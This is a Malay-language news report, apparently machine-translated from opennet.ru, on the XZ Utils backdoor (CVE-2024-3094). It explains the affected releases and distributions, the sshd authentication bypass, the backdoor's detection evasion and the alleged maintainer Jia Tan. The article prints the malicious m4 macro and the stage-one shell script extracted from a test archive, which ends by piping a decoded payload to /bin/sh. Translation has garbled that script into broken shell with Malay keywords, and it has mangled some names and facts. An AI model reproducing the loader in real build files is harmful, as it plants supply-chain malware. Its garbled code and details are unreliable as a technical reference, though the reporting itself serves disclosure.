Pintu belakang (CVE-2024-3094) ditemui dalam pakej XZ Utils, yang termasuk perpustakaan liblzma dan utiliti untuk bekerja dengan data mampat dalam format ".xz". Pintu belakang ini membolehkan pemintasan dan pengubahsuaian data yang diproses oleh aplikasi yang dipautkan ke perpustakaan liblzma. Sasaran utama pintu belakang ialah pelayan OpenSSH, yang dalam beberapa pengedaran dikaitkan dengan perpustakaan libsystemd, yang seterusnya menggunakan liblzma. Memautkan sshd ke pustaka yang terdedah membolehkan penyerang mengakses pelayan SSH tanpa pengesahan.
Pintu belakang hadir dalam keluaran rasmi 5.6.0 dan 5.6.1, yang diterbitkan pada 24 Februari dan 9 Mac, yang berjaya memasuki beberapa pengedaran dan repositori, contohnya, Gentoo, Arch Linux, Debian sid/tidak stabil, Fedora Rawhide dan 40-beta, openSUSE factory dan tumbleweed, LibreELEC, Alpine edge, Solus, NixOS tidak stabil, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Semua pengguna keluaran xz 5.6.0 dan 5.6.1 dinasihatkan untuk segera menurunkan taraf kepada versi 5.4.6.
Satu faktor pengurangan ialah versi liblzma yang di-backdoor tidak berjaya memasuki keluaran stabil pengedaran utama, tetapi ia menjejaskan openSUSE Tumbleweed dan Fedora 40-beta. Linux dan Gentoo menggunakan versi zx yang terdedah, tetapi tidak terdedah kepada serangan kerana mereka tidak menggunakan tampalan systemd-notify pada openssh, yang menyebabkan sshd dipautkan ke libnzma. Pintu belakang hanya menjejaskan sistem berasaskan kernel x86_64. Linux dan perpustakaan C Glibc.
Kod pengaktifan pintu belakang telah disembunyikan dalam makro m4 daripada fail build-to-host.m4 yang digunakan oleh automake toolkit semasa membina. Semasa pembinaan, operasi mengelirukan kompleks berdasarkan arkib (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) yang digunakan untuk menguji operasi yang betul menghasilkan fail objek yang mengandungi kod hasad. Kod ini dimasukkan ke dalam perpustakaan liblzma dan mengubah logik beberapa fungsinya. Makro m4 yang mengaktifkan pintu belakang disertakan dalam tarball pelepas tetapi tidak terdapat dalam repositori Git. Walau bagaimanapun, arkib ujian berniat jahat terdapat dalam repositori, bermakna penyuntik pintu belakang mempunyai akses kepada kedua-dua repositori dan proses penjanaan keluaran.
Apabila liblzma digunakan dalam aplikasi, pengubahsuaian berniat jahat boleh digunakan untuk memintas atau mengubah suai data dan mengganggu operasi sshd. Khususnya, kod berniat jahat menggantikan fungsi RSA_public_decrypt untuk memintas pengesahan sshd. Pintu belakang termasuk perlindungan daripada pengesanan dan kekal tidak dapat dikesan apabila pembolehubah persekitaran LANG dan TERM ditetapkan (iaitu, semasa menjalankan proses dalam terminal) dan pembolehubah persekitaran LD_DEBUG dan LD_PROFILE tidak ditetapkan. Ia juga diaktifkan hanya apabila /usr/sbin/sshd boleh laku telah dilaksanakan. Pintu belakang juga termasuk cara untuk mengesan pelaksanaan dalam persekitaran nyahpepijat.
Khususnya, fail m4/build-to-host.m4 menggunakan binaan berikut: gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config='sed \»r\n\» $make eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
Dalam pembinaan pertama, operasi grep menemui fail tests/files/bad-3-corrupt_lzma2.xz, yang apabila dibuka, menghasilkan skrip: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux" ] && keluar 0 [ ! $(uname) = "Linux" ] && keluar 0 [ ! $(uname) = "Linux" ] && keluar 0 [ ! $(uname) = "Linux" ] && keluar 0 [ ! $(uname) = "Linux" ] && keluar 0 eval `grep ^srcdir= config.status` jika ujian -f ../../config.status;maka eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi eksport i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (kepala -c +1024 >/dev/null) && kepala -c +2048 && (kepala -c +1024 >/dev/null) && kepala -c +2048 && (kepala -c +1024 >/dev/null) && kepala -c +2048 && (kepala -c +1024 >/dev/null) && kepala -c +2048 && (kepala -c +1024 >/dev/null) && kepala -c +2048 && (kepala -c +1024 >/dev/null) && kepala -c +2048 && (kepala -c +1024 >/dev/null) && kepala -c +2048 && (kepala -c +1024 >/dev/null) && kepala -c +2048 && (kepala -c +1024 >/dev/null) >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F mentah —lzma1 -dc|/bin/sh ####Dunia####
Bagaimana penyerang berjaya mendapatkan akses kepada infrastruktur projek xz masih tidak jelas. Tidak jelas juga berapa ramai pengguna dan projek yang telah dikompromikan akibat pintu belakang. Pengarang pintu belakang yang didakwa (JiaT75 — Jia Tan), yang menyiarkan arkib yang mengandungi kod berniat jahat ke repositori, berhubung dengan pembangun Fedora dan menghantar permintaan tarik ke Debianberkaitan dengan peralihan pengedaran ke cabang xz 5.6.0, dan tidak menimbulkan syak wasangka, kerana beliau telah terlibat dalam pembangunan xz selama dua tahun yang lalu dan merupakan penyumbang kedua terbesar. Selain projek xz, pengarang pintu belakang yang didakwa turut menyumbang kepada pakej xz-java dan xz-embedded. Selain itu, Jia Tan baru-baru ini dinamakan sebagai penyelenggara projek XZ Embedded, yang digunakan dalam kernel. Linux.
Perubahan berniat jahat itu ditemui selepas menganalisis penggunaan CPU yang berlebihan dan ralat yang dikembalikan oleh valgrind semasa menyambung melalui ssh ke sistem berdasarkan Debian sid. Perlu diingatkan bahawa keluaran xz 5.6.1 merangkumi perubahan yang disediakan oleh pengarang backdoor yang didakwa sebagai tindak balas terhadap aduan tentang kelembapan sshd dan ranap yang berlaku selepas naik taraf kepada zx 5.6.0, yang mengandungi backdoor. Tambahan pula, tahun lepas, Jia Tan memperkenalkan perubahan yang tidak serasi dengan mod pengesahan "-fsanitize=address", yang mengakibatkan ia dinyahdayakan semasa ujian fuzzing.
Sumber: opennet.ru
